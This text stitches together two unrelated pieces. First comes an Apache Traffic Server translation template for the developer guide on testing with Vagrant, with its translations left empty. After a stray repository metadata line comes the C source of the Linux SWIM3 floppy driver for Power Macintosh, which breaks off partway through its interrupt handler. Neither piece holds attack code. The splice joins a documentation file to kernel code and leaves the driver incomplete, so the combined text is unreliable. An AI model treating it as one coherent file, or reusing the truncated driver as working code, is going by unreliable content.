# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # #, fuzzy msgid "" msgstr "" "Project-Id-Version: Apache Traffic Server 6.2\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2016-01-02 21:32+0000\n" "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" "Last-Translator: FULL NAME <EMAIL@ADDRESS>\n" "Language-Team: LANGUAGE <LL@li.org>\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=utf-8\n" "Content-Transfer-Encoding: 8bit\n" "Generated-By: Babel 2.1.1\n" #: ../../developer-guide/testing-with-vagrant/index.en.rst:23 msgid "Using Vagrant to Test |TS|" msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:25 msgid "" "The |ATS| project's official repository includes a Vagrantfile, intended to " "ease the process of creating environments suitable for building and testing " "|TS|, where all the necessary dependencies are installed automatically for " "a variety of operating systems and common distribution releases." msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:32 msgid "" "Vagrant is a tool for building complete development environments. With an " "easy-to-use workflow and focus on automation, Vagrant lowers development " "environment setup time, increases development/production parity, and makes " "the \"works on my machine\" excuse a relic of the past." msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:43 msgid "`VagrantUp website <https://www.vagrantup.com/about.html>`_" msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:39 msgid "" "Vagrant can be used in combination with any of the popular configurtion " "management and automation tools, such as `Chef <https://www.chef.io/chef/" ">`_, `Puppet <https://puppetlabs.com/>`_, `Ansible <http://www.ansible.com/" "home>`_, and more. The Vagrantfile included in the |TS| repository happens " "to make use of Puppet." msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:46 msgid "Installing Vagrant and Dependencies" msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:49 msgid "VirtualBox" msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:51 msgid "" "The virtualization software `VirtualBox <https://www.virtualbox.org/>`_ is " "required to create and run the virtual machines created by the included " "project Vagrantfile." msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:55 msgid "" "VirtualBox can be obtained by free from the official website, and many " "distributions provide their own packages as well. No special configuration " "of the software is required." msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:60 msgid "Vagrant" msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:62 msgid "" "A fairly recent version of `Vagrant <https://www.vagrantup.com/downloads." "html>`_ is necessary to use the included Vagrantfile. While older versions " "of Vagrant could be installed through the Ruby Gems facility, modern " "versions are only provided as distribution specific packages." msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:68 msgid "NFS Server" msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:70 msgid "" "The project Vagrantfile uses the NFS shared folders support of VirtualBox " "to mount the same directory in which the Vagrantfile is located on your " "host machine as a network directory inside the virtual machine. For this to " "work, your host machine must have an NFS server installed and running, and " "the user under which you run the vagrant commands must have sudo " "permissions to modify the NFS exports configuration and restart the NFS " "service." msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:77 msgid "" "The virtual machine created by Vagrant will still function without a " "working NFS server on your host machine, but you will not be able to access " "the shared folder which includes the entire |TS| source tree. You may opt " "to modify the Vagrantfile to use a method other than NFS, as per the " "`Vagrant documentation <https://docs.vagrantup.com/v2/synced-folders/" "basic_usage.html>`_." msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:84 msgid "Managing Virtual Machines" msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:87 msgid "Listing Available Machines" msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:89 msgid "" "The included Vagrantfile defines many variations of operating systems, " "releases, and architectures. To see a complete list of the virtual machine " "options available to you, run the command ``vagrant status`` from within " "the same directory as the Vagrantfile. The command may take a few moments " "to run as the configurations defined in the Vagrantfile are evaluated, and " "calls are made to the underlying VirtualBox utilities to check for the " "existence and operational state of each possibility. You should expect to " "see output along the lines of::" msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:127 msgid "Creating and Destroying" msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:129 msgid "" "Creation and destruction of virtual machines with Vagrant is very simple. " "To bring a new virtual machine into existence, run the following command " "from the same directory in which the Vagrantfile is located::" msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:135 msgid "" "Where ``<name>`` should be the specific operating system release you wish " "to use for the virtual machine. For example, to test |TS| in a CentOS 6.4 " "environment, you would run::" msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:141 msgid "" "Running the ``vagrant up`` command for a virtual machine which does not " "exist yet (or has previously been deleted) will create a brand new virtual " "machine, using the appropriate image (called a *basebox* in Vagrant " "parlance), as well as provision the machine according to any configuration " "management rules specified in the Vagrantfile." msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:147 msgid "" "Similarly, you may destroy the virtual machine when you are finished by " "running the command::" msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:152 msgid "" "Or if you wish to only stop the virtual machine temporarily without " "deleting it, you may run::" msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:157 msgid "" "A halted virtual machine is started back up with the same ``vagrant up`` " "command shown earlier. The difference is that Vagrant will recognize the " "box already exists and do nothing more than start the vm process and " "configure the virtual networking interfaces on your host. Any configuration " "management hooks in the Vagrantfile will be skipped." msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:164 msgid "Logging In" msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:166 msgid "" "Logging into a virtual machine created with Vagrant may be accomplished in " "a couple different ways. The easiest is to let Vagrant itself figure out " "where the machine is and how to properly authenticate you to it::" msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:172 msgid "" "Using that command from within the same directory as the Vagrantfile allows " "you to skip figuring out what virtual network interface has been attached " "to the machine, what local port may be assigned to handle SSH forwarding, " "and so on. As long as the virtual machine was already running, you will be " "quickly dropped into a local shell in the virtual machine as the " "``vagrant`` user." msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:180 msgid "" "Vagrant by default uses a widely-shared private RSA key on newly created " "virtual machines (that are built on public basebox images). The default " "user on these baseboxes is also configured for password-less sudo " "permissions. This is very clearly insecure, but Vagrant is designed for " "local testing and development, not production (or other public) uses, so " "the project has made the philosophical trade-off in favor of ease of use." msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:187 msgid "" "Alternatively, you may SSH directly to the virtual machine. Because the " "virtual machines are configured to use only the private virtual network " "layer provided by VirtualBox, you cannot directly. Instead, VirtualBox has " "created a local port mapping automatically which should be used. There is " "no fixed, pre-determined port mapping that will be universally valid, as " "Vagrant and VirtualBox may be used together to run an arbitrary number of " "virtual machines simultaneously, each provisioned in any order, and defined " "by any number and variety of Vagrantfiles." msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:196 msgid "" "The correct way to determine what port Vagrant and VirtualBox have used to " "map to a given virtual machine is to run the following command from within " "the same directory as your Vagrantfile::" msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:202 msgid "" "That will output a configuration block, suitable for inclusion in your " "local ``~/.ssh/config`` file. Note specifically, in addition to the port, " "the path to the private key you will need to use as your identity when " "attempting to log into the virtual machine." msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:208 msgid "Shared Host Folders" msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:210 msgid "" "VirtualBox provides a facility for mounting directories from your host " "machine as filesystems inside the virtual machines. The |TS| Vagrantfile " "makes use of this feature to mount its own source tree in a predictable " "location in the virtual environment." msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:215 msgid "" "Multiple methods are available for this, including NFS, CIFS, and simulated " "block devices. The |TS| project opts to use NFS for its simplicity, speed, " "support for features such as symlinks, and wide interoperability across the " "various guest operating systems included in the Vagrantfile. Within the " "included Vagrantfile, you can see the following line::" msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:223 msgid "" "This directs VirtualBox to mount the directory in which the |TS| " "Vagrantfile resides as an NFS mount inside the virtual machine at the path " "``/opt/src/trafficserver.git``. Additional host directories may be mounted " "in the same manner should the need arise." msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:229 msgid "Forwarding Custom Ports" msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:241 msgid "Building |TS| Inside Vagrant" msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:243 msgid "" "Producing |TS| builds from within the Vagrant managed virtual machines is " "effectively no different than in any other environment. The same directory " "in which the Vagrantfile exists will be mounted via NFS inside the virtual " "machine at the path ``/opt/src/trafficserver.git``." msgstr "" #: ../../developer-guide/testing-with-vagrant/index.en.rst:250 msgid "" "If you have run ``autoconf`` or ``configure`` from outside the virtual " "machine environment against the same Git working copy as is mounted inside " "the virtual machine, you will encounter failures should you attempt to run " "any of the Make targets inside the VM. Any build related commands should be " "run inside of the virtual machine. Additionally, if you are running more " "than one virtual machine simultaneously, remember that they are each using " "the same NFS export on your host machine." msgstr ""
{ "pile_set_name": "Github" }
/* * Driver for the SWIM3 (Super Woz Integrated Machine 3) * floppy controller found on Power Macintoshes. * * Copyright (C) 1996 Paul Mackerras. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version * 2 of the License, or (at your option) any later version. */ /* * TODO: * handle 2 drives * handle GCR disks */ #undef DEBUG #include <linux/stddef.h> #include <linux/kernel.h> #include <linux/sched/signal.h> #include <linux/timer.h> #include <linux/delay.h> #include <linux/fd.h> #include <linux/ioctl.h> #include <linux/blkdev.h> #include <linux/interrupt.h> #include <linux/mutex.h> #include <linux/module.h> #include <linux/spinlock.h> #include <linux/wait.h> #include <asm/io.h> #include <asm/dbdma.h> #include <asm/prom.h> #include <linux/uaccess.h> #include <asm/mediabay.h> #include <asm/machdep.h> #include <asm/pmac_feature.h> #define MAX_FLOPPIES 2 static DEFINE_MUTEX(swim3_mutex); static struct gendisk *disks[MAX_FLOPPIES]; enum swim_state { idle, locating, seeking, settling, do_transfer, jogging, available, revalidating, ejecting }; #define REG(x) unsigned char x; char x ## _pad[15]; /* * The names for these registers mostly represent speculation on my part. * It will be interesting to see how close they are to the names Apple uses. */ struct swim3 { REG(data); REG(timer); /* counts down at 1MHz */ REG(error); REG(mode); REG(select); /* controls CA0, CA1, CA2 and LSTRB signals */ REG(setup); REG(control); /* writing bits clears them */ REG(status); /* writing bits sets them in control */ REG(intr); REG(nseek); /* # tracks to seek */ REG(ctrack); /* current track number */ REG(csect); /* current sector number */ REG(gap3); /* size of gap 3 in track format */ REG(sector); /* sector # to read or write */ REG(nsect); /* # sectors to read or write */ REG(intr_enable); }; #define control_bic control #define control_bis status /* Bits in select register */ #define CA_MASK 7 #define LSTRB 8 /* Bits in control register */ #define DO_SEEK 0x80 #define FORMAT 0x40 #define SELECT 0x20 #define WRITE_SECTORS 0x10 #define DO_ACTION 0x08 #define DRIVE2_ENABLE 0x04 #define DRIVE_ENABLE 0x02 #define INTR_ENABLE 0x01 /* Bits in status register */ #define FIFO_1BYTE 0x80 #define FIFO_2BYTE 0x40 #define ERROR 0x20 #define DATA 0x08 #define RDDATA 0x04 #define INTR_PENDING 0x02 #define MARK_BYTE 0x01 /* Bits in intr and intr_enable registers */ #define ERROR_INTR 0x20 #define DATA_CHANGED 0x10 #define TRANSFER_DONE 0x08 #define SEEN_SECTOR 0x04 #define SEEK_DONE 0x02 #define TIMER_DONE 0x01 /* Bits in error register */ #define ERR_DATA_CRC 0x80 #define ERR_ADDR_CRC 0x40 #define ERR_OVERRUN 0x04 #define ERR_UNDERRUN 0x01 /* Bits in setup register */ #define S_SW_RESET 0x80 #define S_GCR_WRITE 0x40 #define S_IBM_DRIVE 0x20 #define S_TEST_MODE 0x10 #define S_FCLK_DIV2 0x08 #define S_GCR 0x04 #define S_COPY_PROT 0x02 #define S_INV_WDATA 0x01 /* Select values for swim3_action */ #define SEEK_POSITIVE 0 #define SEEK_NEGATIVE 4 #define STEP 1 #define MOTOR_ON 2 #define MOTOR_OFF 6 #define INDEX 3 #define EJECT 7 #define SETMFM 9 #define SETGCR 13 /* Select values for swim3_select and swim3_readbit */ #define STEP_DIR 0 #define STEPPING 1 #define MOTOR_ON 2 #define RELAX 3 /* also eject in progress */ #define READ_DATA_0 4 #define ONEMEG_DRIVE 5 #define SINGLE_SIDED 6 /* drive or diskette is 4MB type? */ #define DRIVE_PRESENT 7 #define DISK_IN 8 #define WRITE_PROT 9 #define TRACK_ZERO 10 #define TACHO 11 #define READ_DATA_1 12 #define GCR_MODE 13 #define SEEK_COMPLETE 14 #define TWOMEG_MEDIA 15 /* Definitions of values used in writing and formatting */ #define DATA_ESCAPE 0x99 #define GCR_SYNC_EXC 0x3f #define GCR_SYNC_CONV 0x80 #define GCR_FIRST_MARK 0xd5 #define GCR_SECOND_MARK 0xaa #define GCR_ADDR_MARK "\xd5\xaa\x00" #define GCR_DATA_MARK "\xd5\xaa\x0b" #define GCR_SLIP_BYTE "\x27\xaa" #define GCR_SELF_SYNC "\x3f\xbf\x1e\x34\x3c\x3f" #define DATA_99 "\x99\x99" #define MFM_ADDR_MARK "\x99\xa1\x99\xa1\x99\xa1\x99\xfe" #define MFM_INDEX_MARK "\x99\xc2\x99\xc2\x99\xc2\x99\xfc" #define MFM_GAP_LEN 12 struct floppy_state { enum swim_state state; struct swim3 __iomem *swim3; /* hardware registers */ struct dbdma_regs __iomem *dma; /* DMA controller registers */ int swim3_intr; /* interrupt number for SWIM3 */ int dma_intr; /* interrupt number for DMA channel */ int cur_cyl; /* cylinder head is on, or -1 */ int cur_sector; /* last sector we saw go past */ int req_cyl; /* the cylinder for the current r/w request */ int head; /* head number ditto */ int req_sector; /* sector number ditto */ int scount; /* # sectors we're transferring at present */ int retries; int settle_time; int secpercyl; /* disk geometry information */ int secpertrack; int total_secs; int write_prot; /* 1 if write-protected, 0 if not, -1 dunno */ struct dbdma_cmd *dma_cmd; int ref_count; int expect_cyl; struct timer_list timeout; int timeout_pending; int ejected; wait_queue_head_t wait; int wanted; struct macio_dev *mdev; char dbdma_cmd_space[5 * sizeof(struct dbdma_cmd)]; int index; struct request *cur_req; }; #define swim3_err(fmt, arg...) dev_err(&fs->mdev->ofdev.dev, "[fd%d] " fmt, fs->index, arg) #define swim3_warn(fmt, arg...) dev_warn(&fs->mdev->ofdev.dev, "[fd%d] " fmt, fs->index, arg) #define swim3_info(fmt, arg...) dev_info(&fs->mdev->ofdev.dev, "[fd%d] " fmt, fs->index, arg) #ifdef DEBUG #define swim3_dbg(fmt, arg...) dev_dbg(&fs->mdev->ofdev.dev, "[fd%d] " fmt, fs->index, arg) #else #define swim3_dbg(fmt, arg...) do { } while(0) #endif static struct floppy_state floppy_states[MAX_FLOPPIES]; static int floppy_count = 0; static DEFINE_SPINLOCK(swim3_lock); static unsigned short write_preamble[] = { 0x4e4e, 0x4e4e, 0x4e4e, 0x4e4e, 0x4e4e, /* gap field */ 0, 0, 0, 0, 0, 0, /* sync field */ 0x99a1, 0x99a1, 0x99a1, 0x99fb, /* data address mark */ 0x990f /* no escape for 512 bytes */ }; static unsigned short write_postamble[] = { 0x9904, /* insert CRC */ 0x4e4e, 0x4e4e, 0x9908, /* stop writing */ 0, 0, 0, 0, 0, 0 }; static void seek_track(struct floppy_state *fs, int n); static void init_dma(struct dbdma_cmd *cp, int cmd, void *buf, int count); static void act(struct floppy_state *fs); static void scan_timeout(unsigned long data); static void seek_timeout(unsigned long data); static void settle_timeout(unsigned long data); static void xfer_timeout(unsigned long data); static irqreturn_t swim3_interrupt(int irq, void *dev_id); /*static void fd_dma_interrupt(int irq, void *dev_id);*/ static int grab_drive(struct floppy_state *fs, enum swim_state state, int interruptible); static void release_drive(struct floppy_state *fs); static int fd_eject(struct floppy_state *fs); static int floppy_ioctl(struct block_device *bdev, fmode_t mode, unsigned int cmd, unsigned long param); static int floppy_open(struct block_device *bdev, fmode_t mode); static void floppy_release(struct gendisk *disk, fmode_t mode); static unsigned int floppy_check_events(struct gendisk *disk, unsigned int clearing); static int floppy_revalidate(struct gendisk *disk); static bool swim3_end_request(struct floppy_state *fs, blk_status_t err, unsigned int nr_bytes) { struct request *req = fs->cur_req; int rc; swim3_dbg(" end request, err=%d nr_bytes=%d, cur_req=%p\n", err, nr_bytes, req); if (err) nr_bytes = blk_rq_cur_bytes(req); rc = __blk_end_request(req, err, nr_bytes); if (rc) return true; fs->cur_req = NULL; return false; } static void swim3_select(struct floppy_state *fs, int sel) { struct swim3 __iomem *sw = fs->swim3; out_8(&sw->select, RELAX); if (sel & 8) out_8(&sw->control_bis, SELECT); else out_8(&sw->control_bic, SELECT); out_8(&sw->select, sel & CA_MASK); } static void swim3_action(struct floppy_state *fs, int action) { struct swim3 __iomem *sw = fs->swim3; swim3_select(fs, action); udelay(1); out_8(&sw->select, sw->select | LSTRB); udelay(2); out_8(&sw->select, sw->select & ~LSTRB); udelay(1); } static int swim3_readbit(struct floppy_state *fs, int bit) { struct swim3 __iomem *sw = fs->swim3; int stat; swim3_select(fs, bit); udelay(1); stat = in_8(&sw->status); return (stat & DATA) == 0; } static void start_request(struct floppy_state *fs) { struct request *req; unsigned long x; swim3_dbg("start request, initial state=%d\n", fs->state); if (fs->state == idle && fs->wanted) { fs->state = available; wake_up(&fs->wait); return; } while (fs->state == idle) { swim3_dbg("start request, idle loop, cur_req=%p\n", fs->cur_req); if (!fs->cur_req) { fs->cur_req = blk_fetch_request(disks[fs->index]->queue); swim3_dbg(" fetched request %p\n", fs->cur_req); if (!fs->cur_req) break; } req = fs->cur_req; if (fs->mdev->media_bay && check_media_bay(fs->mdev->media_bay) != MB_FD) { swim3_dbg("%s", " media bay absent, dropping req\n"); swim3_end_request(fs, BLK_STS_IOERR, 0); continue; } #if 0 /* This is really too verbose */ swim3_dbg("do_fd_req: dev=%s cmd=%d sec=%ld nr_sec=%u buf=%p\n", req->rq_disk->disk_name, req->cmd, (long)blk_rq_pos(req), blk_rq_sectors(req), bio_data(req->bio)); swim3_dbg(" current_nr_sectors=%u\n", blk_rq_cur_sectors(req)); #endif if (blk_rq_pos(req) >= fs->total_secs) { swim3_dbg(" pos out of bounds (%ld, max is %ld)\n", (long)blk_rq_pos(req), (long)fs->total_secs); swim3_end_request(fs, BLK_STS_IOERR, 0); continue; } if (fs->ejected) { swim3_dbg("%s", " disk ejected\n"); swim3_end_request(fs, BLK_STS_IOERR, 0); continue; } if (rq_data_dir(req) == WRITE) { if (fs->write_prot < 0) fs->write_prot = swim3_readbit(fs, WRITE_PROT); if (fs->write_prot) { swim3_dbg("%s", " try to write, disk write protected\n"); swim3_end_request(fs, BLK_STS_IOERR, 0); continue; } } /* Do not remove the cast. blk_rq_pos(req) is now a * sector_t and can be 64 bits, but it will never go * past 32 bits for this driver anyway, so we can * safely cast it down and not have to do a 64/32 * division */ fs->req_cyl = ((long)blk_rq_pos(req)) / fs->secpercyl; x = ((long)blk_rq_pos(req)) % fs->secpercyl; fs->head = x / fs->secpertrack; fs->req_sector = x % fs->secpertrack + 1; fs->state = do_transfer; fs->retries = 0; act(fs); } } static void do_fd_request(struct request_queue * q) { start_request(q->queuedata); } static void set_timeout(struct floppy_state *fs, int nticks, void (*proc)(unsigned long)) { if (fs->timeout_pending) del_timer(&fs->timeout); fs->timeout.expires = jiffies + nticks; fs->timeout.function = proc; fs->timeout.data = (unsigned long) fs; add_timer(&fs->timeout); fs->timeout_pending = 1; } static inline void scan_track(struct floppy_state *fs) { struct swim3 __iomem *sw = fs->swim3; swim3_select(fs, READ_DATA_0); in_8(&sw->intr); /* clear SEEN_SECTOR bit */ in_8(&sw->error); out_8(&sw->intr_enable, SEEN_SECTOR); out_8(&sw->control_bis, DO_ACTION); /* enable intr when track found */ set_timeout(fs, HZ, scan_timeout); /* enable timeout */ } static inline void seek_track(struct floppy_state *fs, int n) { struct swim3 __iomem *sw = fs->swim3; if (n >= 0) { swim3_action(fs, SEEK_POSITIVE); sw->nseek = n; } else { swim3_action(fs, SEEK_NEGATIVE); sw->nseek = -n; } fs->expect_cyl = (fs->cur_cyl >= 0)? fs->cur_cyl + n: -1; swim3_select(fs, STEP); in_8(&sw->error); /* enable intr when seek finished */ out_8(&sw->intr_enable, SEEK_DONE); out_8(&sw->control_bis, DO_SEEK); set_timeout(fs, 3*HZ, seek_timeout); /* enable timeout */ fs->settle_time = 0; } static inline void init_dma(struct dbdma_cmd *cp, int cmd, void *buf, int count) { cp->req_count = cpu_to_le16(count); cp->command = cpu_to_le16(cmd); cp->phy_addr = cpu_to_le32(virt_to_bus(buf)); cp->xfer_status = 0; } static inline void setup_transfer(struct floppy_state *fs) { int n; struct swim3 __iomem *sw = fs->swim3; struct dbdma_cmd *cp = fs->dma_cmd; struct dbdma_regs __iomem *dr = fs->dma; struct request *req = fs->cur_req; if (blk_rq_cur_sectors(req) <= 0) { swim3_warn("%s", "Transfer 0 sectors ?\n"); return; } if (rq_data_dir(req) == WRITE) n = 1; else { n = fs->secpertrack - fs->req_sector + 1; if (n > blk_rq_cur_sectors(req)) n = blk_rq_cur_sectors(req); } swim3_dbg(" setup xfer at sect %d (of %d) head %d for %d\n", fs->req_sector, fs->secpertrack, fs->head, n); fs->scount = n; swim3_select(fs, fs->head? READ_DATA_1: READ_DATA_0); out_8(&sw->sector, fs->req_sector); out_8(&sw->nsect, n); out_8(&sw->gap3, 0); out_le32(&dr->cmdptr, virt_to_bus(cp)); if (rq_data_dir(req) == WRITE) { /* Set up 3 dma commands: write preamble, data, postamble */ init_dma(cp, OUTPUT_MORE, write_preamble, sizeof(write_preamble)); ++cp; init_dma(cp, OUTPUT_MORE, bio_data(req->bio), 512); ++cp; init_dma(cp, OUTPUT_LAST, write_postamble, sizeof(write_postamble)); } else { init_dma(cp, INPUT_LAST, bio_data(req->bio), n * 512); } ++cp; out_le16(&cp->command, DBDMA_STOP); out_8(&sw->control_bic, DO_ACTION | WRITE_SECTORS); in_8(&sw->error); out_8(&sw->control_bic, DO_ACTION | WRITE_SECTORS); if (rq_data_dir(req) == WRITE) out_8(&sw->control_bis, WRITE_SECTORS); in_8(&sw->intr); out_le32(&dr->control, (RUN << 16) | RUN); /* enable intr when transfer complete */ out_8(&sw->intr_enable, TRANSFER_DONE); out_8(&sw->control_bis, DO_ACTION); set_timeout(fs, 2*HZ, xfer_timeout); /* enable timeout */ } static void act(struct floppy_state *fs) { for (;;) { swim3_dbg(" act loop, state=%d, req_cyl=%d, cur_cyl=%d\n", fs->state, fs->req_cyl, fs->cur_cyl); switch (fs->state) { case idle: return; /* XXX shouldn't get here */ case locating: if (swim3_readbit(fs, TRACK_ZERO)) { swim3_dbg("%s", " locate track 0\n"); fs->cur_cyl = 0; if (fs->req_cyl == 0) fs->state = do_transfer; else fs->state = seeking; break; } scan_track(fs); return; case seeking: if (fs->cur_cyl < 0) { fs->expect_cyl = -1; fs->state = locating; break; } if (fs->req_cyl == fs->cur_cyl) { swim3_warn("%s", "Whoops, seeking 0\n"); fs->state = do_transfer; break; } seek_track(fs, fs->req_cyl - fs->cur_cyl); return; case settling: /* check for SEEK_COMPLETE after 30ms */ fs->settle_time = (HZ + 32) / 33; set_timeout(fs, fs->settle_time, settle_timeout); return; case do_transfer: if (fs->cur_cyl != fs->req_cyl) { if (fs->retries > 5) { swim3_err("Wrong cylinder in transfer, want: %d got %d\n", fs->req_cyl, fs->cur_cyl); swim3_end_request(fs, BLK_STS_IOERR, 0); fs->state = idle; return; } fs->state = seeking; break; } setup_transfer(fs); return; case jogging: seek_track(fs, -5); return; default: swim3_err("Unknown state %d\n", fs->state); return; } } } static void scan_timeout(unsigned long data) { struct floppy_state *fs = (struct floppy_state *) data; struct swim3 __iomem *sw = fs->swim3; unsigned long flags; swim3_dbg("* scan timeout, state=%d\n", fs->state); spin_lock_irqsave(&swim3_lock, flags); fs->timeout_pending = 0; out_8(&sw->control_bic, DO_ACTION | WRITE_SECTORS); out_8(&sw->select, RELAX); out_8(&sw->intr_enable, 0); fs->cur_cyl = -1; if (fs->retries > 5) { swim3_end_request(fs, BLK_STS_IOERR, 0); fs->state = idle; start_request(fs); } else { fs->state = jogging; act(fs); } spin_unlock_irqrestore(&swim3_lock, flags); } static void seek_timeout(unsigned long data) { struct floppy_state *fs = (struct floppy_state *) data; struct swim3 __iomem *sw = fs->swim3; unsigned long flags; swim3_dbg("* seek timeout, state=%d\n", fs->state); spin_lock_irqsave(&swim3_lock, flags); fs->timeout_pending = 0; out_8(&sw->control_bic, DO_SEEK); out_8(&sw->select, RELAX); out_8(&sw->intr_enable, 0); swim3_err("%s", "Seek timeout\n"); swim3_end_request(fs, BLK_STS_IOERR, 0); fs->state = idle; start_request(fs); spin_unlock_irqrestore(&swim3_lock, flags); } static void settle_timeout(unsigned long data) { struct floppy_state *fs = (struct floppy_state *) data; struct swim3 __iomem *sw = fs->swim3; unsigned long flags; swim3_dbg("* settle timeout, state=%d\n", fs->state); spin_lock_irqsave(&swim3_lock, flags); fs->timeout_pending = 0; if (swim3_readbit(fs, SEEK_COMPLETE)) { out_8(&sw->select, RELAX); fs->state = locating; act(fs); goto unlock; } out_8(&sw->select, RELAX); if (fs->settle_time < 2*HZ) { ++fs->settle_time; set_timeout(fs, 1, settle_timeout); goto unlock; } swim3_err("%s", "Seek settle timeout\n"); swim3_end_request(fs, BLK_STS_IOERR, 0); fs->state = idle; start_request(fs); unlock: spin_unlock_irqrestore(&swim3_lock, flags); } static void xfer_timeout(unsigned long data) { struct floppy_state *fs = (struct floppy_state *) data; struct swim3 __iomem *sw = fs->swim3; struct dbdma_regs __iomem *dr = fs->dma; unsigned long flags; int n; swim3_dbg("* xfer timeout, state=%d\n", fs->state); spin_lock_irqsave(&swim3_lock, flags); fs->timeout_pending = 0; out_le32(&dr->control, RUN << 16); /* We must wait a bit for dbdma to stop */ for (n = 0; (in_le32(&dr->status) & ACTIVE) && n < 1000; n++) udelay(1); out_8(&sw->intr_enable, 0); out_8(&sw->control_bic, WRITE_SECTORS | DO_ACTION); out_8(&sw->select, RELAX); swim3_err("Timeout %sing sector %ld\n", (rq_data_dir(fs->cur_req)==WRITE? "writ": "read"), (long)blk_rq_pos(fs->cur_req)); swim3_end_request(fs, BLK_STS_IOERR, 0); fs->state = idle; start_request(fs); spin_unlock_irqrestore(&swim3_lock, flags); } static irqreturn_t swim3_interrupt(int irq, void *dev_id) { struct floppy_state *fs = (struct floppy_state *) dev_id; struct swim3 __iomem *sw = fs->swim3; int intr, err, n; int stat, resid; struct dbdma_regs __iomem *dr; struct dbdma_cmd *cp; unsigned long flags; struct request *req = fs->cur_req; swim3_dbg("* interrupt, state=%d\n", fs->state); spin_lock_irqsave(&swim3_lock, flags); intr = in_8(&sw->intr); err = (intr & ERROR_INTR)? in_8(&sw->error): 0; if ((intr & ERROR_INTR) && fs->state != do_transfer) swim3_err("Non-transfer error interrupt: state=%d, dir=%x, intr=%x, err=%x\n", fs->state, rq_data_dir(req), intr, err); switch (fs->state) { case locating: if (intr & SEEN_SECTOR) { out_8(&sw->control_bic, DO_ACTION | WRITE_SECTORS); out_8(&sw->select, RELAX); out_8(&sw->intr_enable, 0); del_timer(&fs->timeout); fs->timeout_pending = 0; if (sw->ctrack == 0xff) { swim3_err("%s", "Seen sector but cyl=ff?\n"); fs->cur_cyl = -1; if (fs->retries > 5) { swim3_end_request(fs, BLK_STS_IOERR, 0); fs->state = idle; start_request(fs); } else { fs->state = jogging; act(fs); } break; } fs->cur_cyl = sw->ctrack; fs->cur_sector = sw->csect; if (fs->expect_cyl != -1 && fs->expect_cyl != fs->cur_cyl) swim3_err("Expected cyl %d, got %d\n", fs->expect_cyl, fs->cur_cyl); fs->state = do_transfer; act(fs); } break; case seeking: case jogging: if (sw->nseek == 0) { out_8(&sw->control_bic, DO_SEEK); out_8(&sw->select, RELAX); out_8(&sw->intr_enable, 0); del_timer(&fs->timeout); fs->timeout_pending = 0; if (fs->state == seeking) ++fs->retries; fs->state = settling; act(fs); } break; case settling: out_8(&sw->intr_enable, 0); del_timer(&fs->timeout); fs->timeout_pending = 0; act(fs); break; case do_transfer: if ((intr & (ERROR_INTR | TRANSFER_DONE)) == 0) break; out_8(&sw->intr_enable, 0); out_8(&sw->control_bic, WRITE_SECTORS | DO_ACTION); out_8(&sw->select, RELAX); del_timer(&fs->timeout); fs->timeout_pending = 0; dr = fs->dma; cp = fs->dma_cmd; if (rq_data_dir(req) == WRITE) ++cp; /* * Check that the main data transfer has finished. * On writing, the swim3 sometimes doesn't use * up all the bytes of the postamble, so we can still * see DMA active here. That doesn't matter as long * as all the sector data has been transferred. */ if ((intr & ERROR_INTR) == 0 && cp->xfer_status == 0) { /* wait a little while for DMA to complete */ for (n = 0; n < 100; ++n) { if (cp->xfer_status != 0) break; udelay(1); barrier(); } } /* turn off DMA */ out_le32(&dr->control, (RUN | PAUSE) << 16); stat = le16_to_cpu(cp->xfer_status); resid = le16_to_cpu(cp->res_count); if (intr & ERROR_INTR) { n = fs->scount - 1 - resid / 512; if (n > 0) { blk_update_request(req, 0, n << 9); fs->req_sector += n; } if (fs->retries < 5) { 